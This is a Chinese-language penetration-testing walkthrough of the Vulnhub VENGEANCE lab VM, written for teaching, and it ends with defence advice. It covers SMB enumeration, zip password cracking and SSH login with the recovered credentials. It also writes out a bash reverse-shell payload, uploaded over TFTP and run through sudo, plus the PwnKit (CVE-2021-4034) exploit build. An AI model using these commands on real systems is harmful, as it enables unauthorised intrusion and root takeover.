[Vulnhub] VENGEANCE SMB+Zip-Crack+TFTP&SUDO权限提升+PwnKit:Pkexec权限提升
字数 1071 2025-08-19 12:40:48

VENGEANCE靶机渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行全端口扫描:

nmap -p- 192.168.101.153 --min-rate 1000 -sC -sV

发现开放端口:

  • 80/tcp: HTTP (nginx 1.18.0)
  • 110/tcp: POP3 (Dovecot)
  • 113/tcp: ident
  • 139/tcp: SMB (Samba smbd 4.6.2)
  • 143/tcp: IMAP (Dovecot)
  • 443/tcp: HTTPS (nginx 1.18.0)
  • 445/tcp: SMB (Samba smbd 4.6.2)
  • 993/tcp: IMAPS
  • 995/tcp: POP3S
  • 22222/tcp: SSH (OpenSSH 8.2p1 Ubuntu)

1.2 SMB枚举

使用enum4linux发现有效用户:

enum4linux 192.168.101.153

发现用户:sara和qinyi

2. 初始访问

2.1 SMB共享访问

  1. 列出共享目录:
smbclient -L //192.168.101.153/
  1. 访问sarapublic共享:
smbclient //192.168.101.153/sarapublic
  1. 下载所有文件:
smb: \> lcd /tmp/mp
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

2.2 密码破解

  1. 从profile.txt提取单词列表:
awk '{for(i=1;i<=NF;i++) print $i}' profile.txt | sort | uniq > password.txt
  1. 破解zip文件密码:
zip2john gio.zip > hash
john hash --wordlist=./password.txt

获得密码:nanotechnological

  1. 解压zip文件发现用户名和密码:
  • 用户名:Giovanni
  • 密码:giovanni_130R_Suzuka

2.3 SSH登录

使用hydra验证密码:

hydra -l user -p 'giovanni_130R_Suzuka' ssh://192.168.101.153:22222

成功登录获取初始shell:

ssh -p 22222 giovanni@192.168.101.153

3. 权限提升

3.1 TFTP & SUDO提权

  1. 检查网络服务:
netstat -lnput
  1. 查看TFTP配置:
cat /etc/default/tftpd-hpa
  1. 检查sudo权限:
sudo -l
  1. 利用TFTP上传恶意文件:
tftp 192.168.101.153 69
tftp> get eaurouge
  1. 创建反向shellpayload:
echo '/bin/bash -c "bash -i >& /dev/tcp/192.168.101.128/10032 0>&1"' > eaurouge
  1. 上传payload:
tftp 192.168.101.153 69
tftp> put eaurouge
  1. 执行提权:
sudo /home/sara/private/eaurouge

3.2 PwnKit:pkexec提权

  1. 下载PwnKit利用代码:
wget https://github.com/ly4k/PwnKit/blob/main/PwnKit.c
  1. 编译利用代码:
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
  1. 上传并执行:
./PwnKit

4. 关键点总结

  1. 信息收集:全面扫描发现所有开放服务,特别是SMB和TFTP服务

  2. SMB利用

    • 枚举共享目录和用户
    • 下载公开共享中的敏感文件
    • 从文本文件中提取单词列表用于密码破解
  3. 密码破解

    • 使用zip2john和john破解zip密码
    • 从解压文件中获取有效凭据
  4. TFTP利用

    • 检查TFTP服务配置
    • 利用可写目录上传恶意脚本
    • 结合sudo权限执行恶意脚本获取root
  5. PwnKit提权

    • 利用pkexec漏洞(CVE-2021-4034)
    • 编译并执行漏洞利用代码获取root权限

5. 防御建议

  1. 限制SMB共享的匿名访问
  2. 避免在共享文件中存储敏感信息
  3. 及时更新系统补丁,特别是已知漏洞如PwnKit
  4. 限制sudo权限,避免不必要的特权执行
  5. 配置TFTP服务时限制可写目录和文件覆盖权限
VENGEANCE靶机渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行全端口扫描: 发现开放端口: 80/tcp: HTTP (nginx 1.18.0) 110/tcp: POP3 (Dovecot) 113/tcp: ident 139/tcp: SMB (Samba smbd 4.6.2) 143/tcp: IMAP (Dovecot) 443/tcp: HTTPS (nginx 1.18.0) 445/tcp: SMB (Samba smbd 4.6.2) 993/tcp: IMAPS 995/tcp: POP3S 22222/tcp: SSH (OpenSSH 8.2p1 Ubuntu) 1.2 SMB枚举 使用enum4linux发现有效用户: 发现用户:sara和qinyi 2. 初始访问 2.1 SMB共享访问 列出共享目录: 访问sarapublic共享: 下载所有文件: 2.2 密码破解 从profile.txt提取单词列表: 破解zip文件密码: 获得密码: nanotechnological 解压zip文件发现用户名和密码: 用户名:Giovanni 密码: giovanni_130R_Suzuka 2.3 SSH登录 使用hydra验证密码: 成功登录获取初始shell: 3. 权限提升 3.1 TFTP & SUDO提权 检查网络服务: 查看TFTP配置: 检查sudo权限: 利用TFTP上传恶意文件: 创建反向shellpayload: 上传payload: 执行提权: 3.2 PwnKit:pkexec提权 下载PwnKit利用代码: 编译利用代码: 上传并执行: 4. 关键点总结 信息收集 :全面扫描发现所有开放服务,特别是SMB和TFTP服务 SMB利用 : 枚举共享目录和用户 下载公开共享中的敏感文件 从文本文件中提取单词列表用于密码破解 密码破解 : 使用zip2john和john破解zip密码 从解压文件中获取有效凭据 TFTP利用 : 检查TFTP服务配置 利用可写目录上传恶意脚本 结合sudo权限执行恶意脚本获取root PwnKit提权 : 利用pkexec漏洞(CVE-2021-4034) 编译并执行漏洞利用代码获取root权限 5. 防御建议 限制SMB共享的匿名访问 避免在共享文件中存储敏感信息 及时更新系统补丁,特别是已知漏洞如PwnKit 限制sudo权限,避免不必要的特权执行 配置TFTP服务时限制可写目录和文件覆盖权限